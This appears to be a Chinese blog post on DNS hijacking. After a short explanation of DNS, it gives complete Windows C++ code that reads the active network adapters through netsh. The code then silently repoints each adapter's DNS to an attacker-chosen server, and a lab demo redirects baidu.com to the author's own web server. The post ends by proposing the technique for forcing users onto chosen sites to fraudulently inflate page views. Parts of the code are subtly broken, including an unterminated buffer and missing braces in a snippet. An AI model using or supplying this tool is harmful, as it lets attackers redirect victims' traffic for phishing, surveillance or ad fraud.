C/C++实现DNS劫持

32 篇文章 1 订阅
1 篇文章 1 订阅

#C/C++实现DNS劫持

###什么是DNS?
每个IP地址都可以有一个主机名,主机名由一个或多个字符串组成,字符串之间用小数点隔开。有了主机名,就不要死记硬背每台IP设备的IP地址,只要记住相对直观有意义的主机名就行了。这就是DNS协议的功能。
主机名到IP地址的映射有两种方式:
1)静态映射,每台设备上都配置主机到IP地址的映射,各设备独立维护自己的映射表,而且只供本设备使用;
2)动态映射,建立一套域名解析系统(DNS),只在专门的DNS服务器上配置主机到IP地址的映射,网络上需要使用主机名通信的设备,首先需要到DNS服务器查询主机所对应的IP地址。 [1]
通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。在解析域名时,可以首先采用静态域名解析的方法,如果静态域名解析不成功,再采用动态域名解析的方法。可以将一些常用的域名放入静态域名解析表中,这样可以大大提高域名解析效率

###什么是DNS劫持?
DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

DNS(域名系统)的作用是把网络地址(域名,以一个字符串的形式)对应到真实的计算机能够识别的网络地址(IP地址),以便计算机能够进一步通信,传递网址和内容等。由于域名劫持往往只能在特定的被劫持的网络范围内进行,所以在此范围外的域名服务器(DNS)能够返回正常的IP地址,高级用户可以在网络设置把DNS指向这些正常的域名服务器以实现对网址的正常访问。所以域名劫持通常相伴的措施——封锁正常DNS的IP。

###C/C++实现DNS劫持:

#####程序所需头文件和命名空间:

#include <iostream>
#include <string>
#include <windows.h>
#include <stdlib.h>
#include <list>
#include <io.h>
using namespace std;

#####获取本机可用网卡:

void Get_using_interface()
		{
			system("netsh interface show interface > interface_info.txt");
			
			FILE* fp = fopen("interface_info.txt", "rb");
			const int file_size = filelength(fileno(fp));
			char* buff = (char*)malloc(sizeof(char)*file_size);
			if (fp) {
				fread(buff, 1, file_size, fp);
				str = buff;
				free(buff);
				replaceA_to_B(str, "-------------------------------------------------------------------------\r\n", "");
				Split(str, "\r\n", interface_using);
				Spilt_space(interface_using);
			}
		}
		
void Spilt_space(list<string> list_str) {
			for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
				cout << *itor << endl;
				string::size_type first_variable = (*itor).find("已启用");
				string::size_type second_variable = (*itor).find("已连接");
				string::size_type third_variable = (*itor).find("专用");
				if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
					string info = *itor;
					last_get_interface_using.push_back(info.substr(55,info.length()));
				}
			}
		}
		
void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
			std::size_t found = S.find(A);
			while (std::string::npos != found) {
				S.replace(found, A.length(), B);
				found = S.find(A, found + 1);

void Split(const string& src, const string& separator, list<string>& dest)
		{
			string str = src;
			string substring;
			string::size_type start = 0, index;
			dest.clear();
			index = str.find_first_of(separator, start);
			do
			{
				if (index != string::npos)
				{
					substring = str.substr(start, index - start);
					dest.push_back(substring);
					start = index + separator.size();
					index = str.find(separator, start);
					if (start == string::npos) break;
				}
			} while (index != string::npos);

			//the last part
			substring = str.substr(start);
			dest.push_back(substring);
		}

#####构造函数实现:

DNS_Hijack(string DNS="192.168.1.233")
		{
			Get_using_interface();
			for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)
			{
				string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS;
				cout << str;
				system(str.c_str());
			}
		}

####完整代码:

#include <iostream>
#include <string>
#include <windows.h>
#include <stdlib.h>
#include <list>
#include <io.h>
using namespace std;

class DNS_Hijack {
	private:
		list<string> interface_using;					//获取本地可用网卡
		list<string> last_get_interface_using;
	private:	
		string str;								//存储文件读取后的内容
		string DNS;

	private:
		void Get_using_interface()
		{
			system("netsh interface show interface > interface_info.txt");
			
			FILE* fp = fopen("interface_info.txt", "rb");
			const int file_size = filelength(fileno(fp));
			char* buff = (char*)malloc(sizeof(char)*file_size);
			if (fp) {
				fread(buff, 1, file_size, fp);
				str = buff;
				free(buff);
				replaceA_to_B(str, "-------------------------------------------------------------------------\r\n", "");
				Split(str, "\r\n", interface_using);
				Spilt_space(interface_using);
			}
		}
	
	private:
		void Spilt_space(list<string> list_str) {
			for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
				cout << *itor << endl;
				string::size_type first_variable = (*itor).find("已启用");
				string::size_type second_variable = (*itor).find("已连接");
				string::size_type third_variable = (*itor).find("专用");
				if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
					string info = *itor;
					last_get_interface_using.push_back(info.substr(55,info.length()));
				}
			}

		}

	private:
		void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
			std::size_t found = S.find(A);
			while (std::string::npos != found) {
				S.replace(found, A.length(), B);
				found = S.find(A, found + 1);
			}
	}

	private:
		void Split(const string& src, const string& separator, list<string>& dest)
		{
			string str = src;
			string substring;
			string::size_type start = 0, index;
			dest.clear();
			index = str.find_first_of(separator, start);
			do
			{
				if (index != string::npos)
				{
					substring = str.substr(start, index - start);
					dest.push_back(substring);
					start = index + separator.size();
					index = str.find(separator, start);
					if (start == string::npos) break;
				}
			} while (index != string::npos);

			//the last part
			substring = str.substr(start);
			dest.push_back(substring);
		}

	public:
		DNS_Hijack(string DNS="192.168.1.233")
		{
			Get_using_interface();
			for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)
			{
				string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS;
				cout << str;
				system(str.c_str());
			}
		}

};

int main()
{
	DNS_Hijack* one = new DNS_Hijack("192.168.1.20");
	system("pause");
	return 0;
}

###现在我在虚拟机win2003,ip地址为:192.168.1.20中搭建了一台DNS服务器,并将所有域名为www.baidu.com的请求都解析到我内网中的一台搭建了Apache服务器上。
###这个时候我对www.baidu.com的请求就会通过我内网中的DNS服务器解析成我Apache服务器的地址。
###也就是说真正的百度的ip我们已经无法得到,通过nslookup也可以看出,DNS被劫持。

实验效果:

DNS劫持效果

####我们也可以通过这种方法让用户访问特定的URL从而实现恶意刷取网站PE量的效果。

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序小黑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值